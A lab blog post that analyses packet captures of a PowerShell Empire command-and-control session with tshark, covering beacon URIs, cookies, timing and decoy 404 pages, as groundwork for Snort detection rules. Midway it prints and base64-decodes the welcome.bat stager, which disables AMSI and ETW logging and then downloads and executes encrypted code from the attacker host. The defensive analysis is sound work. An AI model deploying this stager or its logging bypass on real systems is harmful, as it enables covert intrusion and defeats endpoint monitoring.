Now that I have a better understanding of Powershell empire through the lens of the attack and the logs, time to take a look at the packets as they flew by on the wire.
The following capture was setup while the activity was being performed. Note, I'm not attempting to decrypt the traffic, I'm just trying to understand what is occurring. At the same time, I have this link in the reference , that guides you on how to decrypt the communication if needed.
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tcpdump -nnti eth0 'host 10.0.0.110 and not arp and not net 224.0.0 and not port 138' -w empire-full-session.pcap -vv tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes Got 0
Looking at the first few packets during the connection stage. Knowing this communication is being done over HTTP, let's see what some of this connection looks like from the perspective of the compromise machine at 10.0.0.110.
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-initial-connect.pcap -t ad -Y '(ip.src == 10.0.0.110) and (tcp.port == 443)' -T fields -e http.request.method -e http.request.uri -e http.cookie_pair -e http.user_agent -E header=y | sort | uniq | more http.request.method http.request.uri http.cookie_pair http.user_agent GET /admin/get.php session=Drp0SxpkTTJ2bKqW0zzPUVV1g2Y= Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko GET /news.php SecurityNik-HTTP-Listener-Cookie=ZOkMw8YjkW24L0AxacILe8erL8s= securitynik-launcher-bat-User-Agent POST /news.php securitynik-launcher-bat-User-Agent
Adding the frame time field
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-initial-connect.pcap -t ad -Y '(ip.src == 10.0.0.110) and (tcp.port == 443)' -T fields -e frame.time -e http.request.method -e http.request.uri -e http.cookie_pair -e http.user_agent -E header=y | sort | uniq | more frame.time http.request.method http.request.uri http.cookie_pair http.user_agent Nov 20, 2021 13:03:59.632366000 EST GET /news.php SecurityNik-HTTP-Listener-Cookie=ZOkMw8YjkW24L0AxacILe8erL8s= securityn ik-launcher-bat-User-Agent Nov 20, 2021 13:04:02.701118000 EST POST /news.php securitynik-launcher-bat-User-Agent Nov 20, 2021 13:04:03.514507000 EST POST /news.php securitynik-launcher-bat-User-Agent Nov 20, 2021 13:05:06.697535000 EST GET /admin/get.php session=Drp0SxpkTTJ2bKqW0zzPUVV1g2Y= Mozilla/5.0 (Windows NT 6.1; WOW6
Looks like the first few packets were GET and POST requests for news.php. Finally we see a request for admin/get.php.
Taking a look from the attacker's machine perspective (10.0.0.107) to see what was returned.
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-initial-connect.pcap -t ad -Y '(ip.src == 10.0.0.107)' -T fields -e http.response.code -e http.server -e http.content_length_header -e http.response_for.uri -e http.cache_control -E header=y | sort | uniq | more http.response.code http.server http.content_length_header http.response_for.uri http.cache_control 200 Microsoft-IIS/7.5 1279 http://10.0.0.107:443/admin/get.php no-cache, no-store, must-revalidate 200 Microsoft-IIS/7.5 256 http://10.0.0.107:443/news.php no-cache, no-store, must-revalidate 200 Microsoft-IIS/7.5 44506 http://10.0.0.107:443/news.php no-cache, no-store, must-revalidate 200 Microsoft-IIS/7.5 5452 http://10.0.0.107:443/news.php no-cache, no-store, must-revalidate
Adding the frame time.
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-initial-connect.pcap -t ad -Y '(ip.src == 10.0.0.107)' -T fields -e frame.time -e http.response.code -e http.server -e http.content_length_header -e http.response_for.uri -e http.cache_control -E header=y frame.time http.response.code http.server http.content_length_header http.response_for.uri http.cache_control Nov 20, 2021 13:03:59.708871000 EST 200 Microsoft-IIS/7.5 5452 http://10.0.0.107:443/news.php no-cache, no-store, must-revalidate Nov 20, 2021 13:04:02.931861000 EST 200 Microsoft-IIS/7.5 256 http://10.0.0.107:443/news.php no-cache, no-store, must-revalidate Nov 20, 2021 13:04:03.628589000 EST 200 Microsoft-IIS/7.5 44506 http://10.0.0.107:443/news.php no-cache, no-store, must-revalidate Nov 20, 2021 13:05:06.756213000 EST 200 Microsoft-IIS/7.5 1279 http://10.0.0.107:443/admin/get.php no-cache, no-store, must-revalidate
The server returned 200 response code for the various requests. It looks like the final news.php request was the largest with 44506 bytes. Let's peak into this to see what it might be.
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-initial-connect.pcap -t ad -Y '(http.content_length_header == 44506)' -V | more ... Line-based text data: text/html (351 lines) [truncated])�qX$J�iYQ���\017���(\026�����*�4\006n��q)x<k\017:\000 �9�������e��^��SHΦ����f��[��R��o$���\016%��kڸ�[�h�k\004�\000�P\020 gU�` �J���2-�y\v;�T�a\r �+P�X�\t�\0201�����{�x��\004��\003��Q��[VW�E���qi8�Pk�w0\000+�b�)�{Ô�=��!&�*y�R��F���}��\r [truncated]�\034έ�G4c�@�k\a�ь�&eϙ��^�0'c\026\f`\032R.5�(^�\021\u07B5�$��8\006\024ί�{(���\022k�mO��_��\024��vI�e ���q�l��d�\017"(&�@\ 022�\025�\026;z-E�]a�]Q [truncated]\033��\�a�\t\035���8�\f�\016[\�0�C\004�\032�\036Ƃ��w�2�!�-\��n)�#n��q���#>��\v���\025�+\035`�\033x���\021�\005��H�K�m#`Hw ...
Definitely does not look like line based text.
I also noticed Tshark reporting the following:
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-initial-connect.pcap -t ad -t ad -q -z expert,warns Warns (8) ============= Frequency Group Protocol Summary 8 Security HTTP Unencrypted HTTP protocol detected over encrypted port, could indicate a dangerous misconfiguration.
Looking at the cookie information.
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-initial-connect.pcap -t ad -T fields -e frame.time -e ip.src -e ip.dst -e http.cookie_pair -E header=y | more frame.time ip.src ip.dst http.cookie_pair Nov 20, 2021 13:03:59.632366000 EST 10.0.0.110 10.0.0.107 SecurityNik-HTTP-Listener-Cookie=ZOkMw8YjkW24L0AxacILe8erL8s= Nov 20, 2021 13:05:06.697535000 EST 10.0.0.110 10.0.0.107 session=Drp0SxpkTTJ2bKqW0zzPUVV1g2Y=
I was hoping to see the same cookie. When I add the http.uri field I see it seems the difference is between requesting news.php vs admin/get.php
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-initial-connect.pcap -t ad -T fields -e frame.time -e ip.src -e ip.dst -e http.cookie_pair -e http.request.uri -E header=y | more frame.time ip.src ip.dst http.cookie_pair http.request.uri Nov 20, 2021 13:03:59.632366000 EST 10.0.0.110 10.0.0.107 SecurityNik-HTTP-Listener-Cookie=ZOkMw8YjkW24L0AxacILe8erL8s= / news.php Nov 20, 2021 13:05:06.697535000 EST 10.0.0.110 10.0.0.107 session=Drp0SxpkTTJ2bKqW0zzPUVV1g2Y= /admin/get.php
Looking at the packets when whoami was run from within powershell-empire interactive environment, we see.
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-whoami.pcapng -t ad -T fields -e frame.number -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e http.request.method -e http.request.uri -e http.content_length_header -E header=y | more frame.number ip.src tcp.srcport ip.dst tcp.dstport http.request.method http.request.uri http.content_length_heade r 1 10.0.0.110 1650 10.0.0.107 443 GET /news.php 5 10.0.0.107 443 10.0.0.110 1650 78 9 10.0.0.110 1650 10.0.0.107 443 POST /login/process.php 94 14 10.0.0.107 443 10.0.0.110 1650 1279
I'm going to assume (for now) the POST, packet 5 is the server sending the request and packet 9 is the client providing the response to whoami via the POST /login/process.php.
When the ps command is executed, I do not see the login/process.php but one again the news. Is it possible these files are being cycled through?
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-ps -t ad -T fields -e frame.number -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e http.request.method -e http.request.uri -e http.content_length_header -e http.response.code -E header=y | more frame.number ip.src tcp.srcport ip.dst tcp.dstport http.request.method http.request.uri http.content_length_header http.response.code 4 10.0.0.107 443 10.0.0.110 1650 62 200 7 10.0.0.110 1650 10.0.0.107 443 POST /news.php 8078 12 10.0.0.107 443 10.0.0.110 1650 1279 200
Looks like the Powershell Empire server sends the request to the client in packet 4 in a HTTP response 200 OK message, and gets a response back via a POST /news.php in packet 7. Packet 8 interestingly it reports the page is not found.
Looking at frame 4, we see.
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-ps -t ad -Y 'frame.number == 4' 4 2021-11-20 14:36:15.708022 10.0.0.107 → 10.0.0.110 HTTP 324 HTTP/1.1 200 OK (text/html) ┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-ps -t ad -Y 'frame.number == 4' -T fields -e http.file_data ���\r���7N���R-S���V���k&��Y4ULYJ����`[=�������j.F+��{'0�Vy��
Looking at the response in frame 5, we see.
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-ps -t ad -Y 'frame.number == 7' 7 2021-11-20 14:36:26.478808 10.0.0.110 → 10.0.0.107 HTTP 8132 POST /news.php HTTP/1.1 ┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-ps -t ad -Y 'frame.number == 7' -T fields -e http.file_data ����m���!'�����%�#�6��������\to�A�0I�����-���8/��a���0�p����opfn{|\n.[�d�~\fh����S�����C�=6\tk��~�h�����{�}��"�qJDj`:�Bd���Z��'K%R�s\n[��$���}d��
Finally in frame 12
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-ps -t ad -Y 'frame.number == 12' 12 2021-11-20 14:36:26.519843 10.0.0.107 → 10.0.0.110 HTTP 83 HTTP/1.1 200 OK (text/html)
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-ps -t ad -Y 'frame.number == 12' -T fields -e http.file_data <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">\r\n<html xmlns="http://www.w3.org/1999/xhtml">\r\n<head>\r\n<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>\r\n<title>404 - File or directory not found.</title>\r\n<style ...... <h1>Server Error</h1></div>\r\n<div id="content">\r\n <div class="content-container"><fieldset>\r\n <h2>404 - File or directory not found.</h2>\r\n <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>\r\n </fieldset></div>\r\n</div>\r\n</body>\r\n</html>\r\n
There are truly a lot of these messages in the communication.
Going forward this analysis will now focus on what I see overall and not the results of a specific command. We would only benefit from the output of a specific command, if we were to decrypt the communication. Since I'm looking at this from a general perspective, I will keep it simple moving forward.
So we saw alot above, but not really anything that really helped us to look deep into the activities. We could infer but we cannot confirm.
Therefore let's look back again at a snapshot of the welcome.bat which represents the Powershell stager to understand what is going on inside of this content.
┌──(root💀securitynik)-[/tmp] └─# cat welcome.bat # 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText('%~f0')|iex" & DEL "%~f0" & POPD /B powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAFIAUwBpAG8ATgBUAGEAQgBsAEUALgBQAFMAVgBFAHIAcwBpAG8ATgAuAE0AYQBKAG8AUgAgAC0AZwBFACAAMwApAHsAJABSAEUARgA9AFsAUgBFAGYAXQAuAEEAcwBTAEUAbQBCAGwAWQAuAEcARQB0AFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIARQBmAC4ARwBFAFQARgBpAEUATABEACgAJwBhAG0AcwBpAEkAbgBpAHQARg...ALgAkAGQAYQB0AGEALgBsAGUATgBHAHQAaABdADsALQBqAE8ASQBuAFsAQwBIAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
Looking above, we see the content is base64 encoded. Let's attempt to decode this base64 encoded content using the base64 --decode.
┌──(root💀securitynik)-[/tmp] └─# echo "SQBmACgAJABQAFMAVgBFAFIAUwBpAG8ATgBUAGEAQgBsAEUALgBQAFMAVgBFAHIAcwBpAG8ATgAuAE0AYQBKAG8AUgAgAC0AZwBFACAAMwApAHsAJABSAEUARgA9AFsAUgBFAGYAXQAuAEEAcwB...AoACYAIAAkAFIAIAAkAGQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==" | base64 --decode If($PSVERSioNTaBlE.PSVErsioN.MaJoR -gE 3){$REF=[REf].AsSEmBlY.GEtTyPE('System.Management.Automation.Amsi'+'Utils');$REf.GETFiELD('amsiInitF'+'ailed','NonPublic,Static').SEtValUE($NUlL,$True);[System.Diagnostics.Eventing.EventProvider]."GetFie`ld"('m_e'+'nabled','Non'+'Public,'+'Instance').SetValue([Ref].Assembly.GetType('Syste'+'m.Management.Automation.Tracing.PSE'+'twLogProvider')."GetFie`ld"('et'+'wProvider','NonPub'+'lic,S'+'tatic').GetValue($null),0);};[SysTEM.NeT.SerVicePOiNtManAGER]::EXPeCt100COnTINUE=0;$b48e=NeW-ObJECT SystEM.NET.WebCLIent;$u='securitynik-launcher-bat-User-Agent';$ser=$([TEXT.ENCoDInG]::UniCODe.GETStriNg([ConvErT]::FRoMBaSe64StrING('aAB0AHQAcAA6AC8ALwAxADAALgAwAC4AMAAuADEAMAA3ADoANAA0ADMA')));$t='/news.php';$b48e.HeadeRS.AdD('User-Agent',$u);$B48e.PRoXy=[SYsTem.Net.WEBREqUesT]::DefAULTWEbPrOXy;$b48e.ProXy.CredeNTiALS = [SYSTEM.NET.CrEdeNTIaLCaChe]::DEfaultNETWorKCReDentIals;$Script:Proxy = $b48e.Proxy;$K=[SYsTEm.TeXT.ENcODInG]::ASCII.GeTBYtes('?4M6q)cLnvli}UCsu:rwf![~]79{#=O/');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H])%256]}};$B48E.HeadeRs.Add("Cookie","SecurityNik-HTTP-Listener-Cookie=ZOkMw8YjkW24L0AxacILe8erL8s=");$datA=$B48e.DownLOaDDaTA($sEr+$T);$Iv=$DaTa[0..3];$DAtA=$daTa[4..$data.leNGth];-jOIn[CHaR[]](& $R $daTa ($IV+$K))|IEX
Good stuff! We have peeled back the first layer of the onion. From above, we see some cleartext values that made sense, while also seeing what seems to be even further base64 encoded content such as:
:FRoMBaSe64StrING('aAB0AHQAcAA6AC8ALwAxADAALgAwAC4AMAAuADEAMAA3ADoANAA0ADMA')
When we decode this new string, we see:
┌──(root💀securitynik)-[~/packets] └─# echo 'aAB0AHQAcAA6AC8ALwAxADAALgAwAC4AMAAuADEAMAA3ADoANAA0ADMA' | base64 --decode http://10.0.0.107:443
Good stuff, we we able to recover the URL to which the host should communicate with. Knowing that for example the request was for news.php, we can conclude this first request looked like http://10.0.0.107:443/news.php. I do find this URL interesting. I was expecting to see https rather than HTTP. However, I guess the port 443 forced the communication over https rather than HTTP. .
We also see information on the cookie.
("Cookie","SecurityNik-HTTP-Listener-Cookie=ZOkMw8YjkW24L0AxacILe8erL8s=")
Attempting the decode the Cookie, assuming it is base64, we see nothing meaningful.
┌──(root💀securitynik)-[/tmp] └─# echo "ZOkMw8YjkW24L0AxacILe8erL8s=" | base64 --decode d� ��#�m�/@1i� {ǫ/�
We also see in the base64 encoded content.
ASCII.GeTBYtes('?4M6q)cLnvli}UCsu:rwf![~]79{#=O/')
This value ties back to the StagingKey which was defined during the setup of the Listener. It is also used as input to the encryption algorithm.
Digging deeper. Extracting packets 8 and 13 and taking a closer look, we see the client made a GET request for /news.php and the server responded with a 200 OK. This suggest the request resource was received successfully.
┌──(root💀securitynik)-[~/packets] └─# tshark -n -r empire-full-session.pcap -t ad -Y '(frame.number == 8) || (frame.number == 13)' 8 2021-11-20 13:03:59.632367 10.0.0.110 → 10.0.0.107 HTTP 246 GET /news.php HTTP/1.1 13 2021-11-20 13:03:59.708872 10.0.0.107 → 10.0.0.110 HTTP 1336 HTTP/1.1 200 OK (text/html)
Extracting a few fields to take a look at this from a different perspective, we see below the client's get request has a TCP length of 192 bytes, while the server's HTTP response was 5452 bytes. This is a significant download.
┌──(root💀securitynik)-[~/packets] └─# tshark -n -r empire-full-session.pcap -t ad -Y '(frame.number == 8) || (frame.number == 13)' -T fields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e http.request.method -e http.request.uri -e http.response.code -e http.cookie_pair -e tcp.len -e http.content_length_header -E header=y ip.src tcp.srcport ip.dst tcp.dstport http.request.method http.request.uri http.response.code http.cookie_pair tcp.len http.content_length_header 10.0.0.110 1650 10.0.0.107 443 GET /news.php SecurityNik-HTTP-Listener-Cookie=ZOkMw8YjkW24L0AxacILe8erL8s= 192 10.0.0.107 443 10.0.0.110 1650 200 1282 5452
Looking at frames 17 and 21, we see, we now see the client making a POST and the server returned a 200 OK message.
┌──(root💀securitynik)-[~/packets] └─# tshark -n -r empire-full-session.pcap -t ad -Y '(frame.number == 17) || (frame.number == 21)' 17 2021-11-20 13:04:02.701119 10.0.0.110 → 10.0.0.107 HTTP 516 POST /news.php HTTP/1.1 21 2021-11-20 13:04:02.931862 10.0.0.107 → 10.0.0.110 HTTP 519 HTTP/1.1 200 OK (text/html)
Expanding the fields like we did above, we see the client POST consists of 462 bytes. The server responds with a 256 bytes. Attempting to look at either the bytes sent in the POST or the response will not benefit us, as we already know this traffic is encrypted.
┌──(root💀securitynik)-[~/packets] └─# tshark -n -r empire-full-session.pcap -t ad -Y '(frame.number == 17) || (frame.number == 21)' -T fields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e http.request.method -e http.request.uri -e http.response.code -e http.cookie_pair -e tcp.len -e http.content_length_header -E header=y ip.src tcp.srcport ip.dst tcp.dstport http.request.method http.request.uri http.response.code http.cookie_pair tcp.len http.content_length_header 10.0.0.110 1650 10.0.0.107 443 POST /news.php 462 462 10.0.0.107 443 10.0.0.110 1650 200 465 256
Continuing along this path, we see in frame 25, the client makes yet another POST, sending 256 bytes, with the server responding with 200 OK in packet 42. The server sends back a massive 44506 bytes.
┌──(root💀securitynik)-[~/packets] └─# tshark -n -r empire-full-session.pcap -t ad -Y '(frame.number == 25) || (frame.number == 42)' 25 2021-11-20 13:04:03.514509 10.0.0.110 → 10.0.0.107 HTTP 260 POST /news.php HTTP/1.1 42 2021-11-20 13:04:03.628591 10.0.0.107 → 10.0.0.110 HTTP 5351 HTTP/1.1 200 OK (text/html)
To get a better view of this, let's expand the fields again.
┌──(root💀securitynik)-[~/packets] └─# tshark -n -r empire-full-session.pcap -t ad -Y '(frame.number == 25) || (frame.number == 42)' -T fields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e http.request.method -e http.request.uri -e http.response.code -e http.cookie_pair -e tcp.len -e http.content_length_header -E header=y ip.src tcp.srcport ip.dst tcp.dstport http.request.method http.request.uri http.response.code http.cookie_pair tcp.len http.content_length_header 10.0.0.110 1650 10.0.0.107 443 POST /news.php 206 206 10.0.0.107 443 10.0.0.110 1650 200 5297 44506
According to Ayan Saha, this represents the end of the 3 phases the tool used to setup.
From here on, the client sends regular GET request, beaconing home to get the tasks it needs to execute.
Looking at the statistical analysis for the URLs requested.
┌──(root💀securitynik)-[~/packets] └─# tshark -n -r empire-full-session.pcap -Y '(ip.src == 10.0.0.110) && (tcp.port == 443) && (http.request.method == "GET")' -T fields -e ip.src -e http.request.uri | sort | uniq --count | sort --numeric --reverse 563 10.0.0.110 /admin/get.php 540 10.0.0.110 /news.php 493 10.0.0.110 /login/process.php
Considering the above, let's look at the 60 second frequencies within these pages are each seen. Starting with /admin/get.php. Primary reason for the 60 minute window, is because we set the delay to 60 second when configuring the the listener.
┌──(root💀securitynik)-[~/packets] └─# tshark -n -r empire-full-session.pcap -t ad -q -z io,stat,60,'(ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) && (http.request.method == GET) && (http.request.uri == "/admin/get.php")' | more ====================================================================================================== | IO Statistics | | | | Duration: 112019.300404 secs | | Interval: 60 secs | | | | Col 1: (ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) && | | (http.request.method == GET) && (http.request.uri == "/admin/get.php") | |----------------------------------------------------------------------------------------------------| | |1 | | | Date and time | Frames | Bytes | | |--------------------------------------| | | 2021-11-20 13:02:57 | 0 | 0 | | | 2021-11-20 13:03:57 | 0 | 0 | | | 2021-11-20 13:04:57 | 1 | 235 | | | 2021-11-20 13:05:57 | 0 | 0 | | | 2021-11-20 13:06:57 | 0 | 0 | | | ... TRUNCATED FOR BREVITY .... | ======================================================================================================
Above we can see some 0s, being seen at this 1 minute intervals, let's remove those to get more meaningful information.
┌──(root💀securitynik)-[~/packets] └─# tshark -n -r empire-full-session.pcap -t ad -q -z io,stat,60,'(ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) && (http.request.method == GET) && (http.request.uri == "/admin/get.php")' | grep --invert-match --perl-regexp "\s+0\s+" | more ====================================================================================================== | IO Statistics | | | | Duration: 112019.300404 secs | | Interval: 60 secs | | | | Col 1: (ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) && | | (http.request.method == GET) && (http.request.uri == "/admin/get.php") | |----------------------------------------------------------------------------------------------------| | |1 | | | Date and time | Frames | Bytes | | |--------------------------------------| | | ... | | | 2021-11-20 13:19:57 | 1 | 235 | | | 2021-11-20 13:30:57 | 1 | 235 | | | 2021-11-20 17:17:57 | 1 | 235 | | | 2021-11-20 17:18:57 | 1 | 235 | | | 2021-11-20 17:19:57 | 2 | 470 | | | 2021-11-20 17:20:57 | 2 | 470 | | | 2021-11-20 17:21:57 | 2 | 470 | | | 2021-11-20 17:22:57 | 2 | 470 | | | 2021-11-20 17:23:57 | 1 | 235 | | | 2021-11-20 17:24:57 | 1 | 235 | | | 2021-11-20 17:25:57 | 1 | 235 | | | 2021-11-20 17:26:57 | 3 | 705 | | | 2021-11-20 17:28:57 | 3 | 705 | | | 2021-11-20 17:29:57 | 2 | 470 | | | 2021-11-20 17:30:57 | 1 | 235 | | | 2021-11-20 17:31:57 | 1 | 235 | | | 2021-11-21 19:08:57 | 1 | 235 | | | 2021-11-21 19:09:57 | 1 | 235 | | ======================================================================================================
Looking at a snapshot of the data above, we can clearly see a pattern every 60 seconds.
Doing the same for news.php, we see.
┌──(root💀securitynik)-[~/packets] └─# tshark -n -r empire-full-session.pcap -t ad -q -z io,stat,60,'(ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) && (http.request.method == GET) && (http.request.uri == "/news.php")' | grep --invert-match --perl-regexp "\s+0\s+" | more ====================================================================================================== | IO Statistics | | | | Duration: 112019.300404 secs | | Interval: 60 secs | | | | Col 1: (ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) && | | (http.request.method == GET) && (http.request.uri == "/news.php") | |----------------------------------------------------------------------------------------------------| | |1 | | | Date and time | Frames | Bytes | | |--------------------------------------| | | 2021-11-21 18:54:57 | 2 | 460 | | | 2021-11-21 18:55:57 | 1 | 230 | | | 2021-11-21 18:56:57 | 2 | 460 | | | 2021-11-21 18:57:57 | 1 | 230 | | | 2021-11-21 18:58:57 | 2 | 460 | | | 2021-11-21 18:59:57 | 1 | 230 | | | 2021-11-21 19:00:57 | 2 | 460 | | | 2021-11-21 19:06:57 | 1 | 230 | | | 2021-11-21 19:07:57 | 1 | 230 | | | 2021-11-21 19:08:57 | 1 | 230 | | | 2021-11-21 19:09:57 | 1 | 230 | | | 2021-11-21 19:10:57 | 1 | 230 | | | 2021-11-21 19:11:57 | 1 | 230 | | | 2021-11-21 19:12:57 | 2 | 460 | | ======================================================================================================
and finally for /login/process.php.
┌──(root💀securitynik)-[~/packets] └─# tshark -n -r empire-full-session.pcap -t ad -q -z io,stat,60,'(ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) && (http.request.method == GET) && (http.request.uri == "/login/process.php")' | grep --invert-match --perl-regexp "\s+0\s+" | more ====================================================================================================== | IO Statistics | | | | Duration: 112019.300404 secs | | Interval: 60 secs | | | | Col 1: (ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) && | | (http.request.method == GET) && (http.request.uri == "/login/process.php") | |----------------------------------------------------------------------------------------------------| | |1 | | | Date and time | Frames | Bytes | | |--------------------------------------| | | 2021-11-20 13:05:57 | 1 | 239 | | | 2021-11-20 13:06:57 | 1 | 239 | | | 2021-11-20 13:07:57 | 1 | 239 | | | 2021-11-20 13:09:57 | 1 | 239 | | | 2021-11-21 14:22:57 | 1 | 239 | | | 2021-11-21 14:23:57 | 2 | 478 | | | 2021-11-21 14:24:57 | 2 | 478 | | | 2021-11-21 14:25:57 | 1 | 239 | | | 2021-11-21 14:26:57 | 1 | 239 | | | 2021-11-21 14:35:57 | 1 | 239 | | | 2021-11-21 14:36:57 | 1 | 239 | | | 2021-11-21 14:37:57 | 1 | 239 | | | 2021-11-21 14:38:57 | 2 | 478 | | | 2021-11-21 15:24:57 | 1 | 239 | | | 2021-11-21 15:26:57 | 2 | 478 | | | 2021-11-21 15:27:57 | 2 | 478 | | | 2021-11-21 15:28:57 | 1 | 239 | | | 2021-11-21 15:29:57 | 1 | 239 | | | 2021-11-21 15:30:57 | 1 | 239 | | | 2021-11-21 15:31:57 | 1 | 239 | | | 2021-11-21 16:03:57 | 1 | 239 | | | 2021-11-21 16:04:57 | 1 | 239 | | | 2021-11-21 16:05:57 | 1 | 239 | | | 2021-11-21 16:06:57 | 1 | 239 | | | 2021-11-21 16:07:57 | 1 | 239 | | ======================================================================================================
Clearly we can see some patterns above as it relates to the communication at 60 minute intervals.
I also noticed alot of these messages report 404 - file or directory not found. It seems like almost every response had this message.
┌──(root💀securitynik)-[/home/securitynik/packets] └─# tshark -n -r empire-initial-connection-setup.pcapng -V | grep --perl-regexp "404\s+.*?not\s+found" | more <title>404 - File or directory not found.</title>\r\n <h2>404 - File or directory not found.</h2>\r\n <title>404 - File or directory not found.</title>\r\n <h2>404 - File or directory not found.</h2>\r\n <title>404 - File or directory not found.</title>\r\n <h2>404 - File or directory not found.</h2>\r\n <title>404 - File or directory not found.</title>\r\n ....
Transitioning to developing Snort3 rules, to detect this activity for our lab.
Other posts in this series:
Beginning Powershell Empire - The Attack in 10 steps
Powershell Empire Log Analysis
Powershell Empire Packet Analysis
Powershell Empire Detection with Snort
Powershell Empire - Detection with Zeek
References:
No comments:
Post a Comment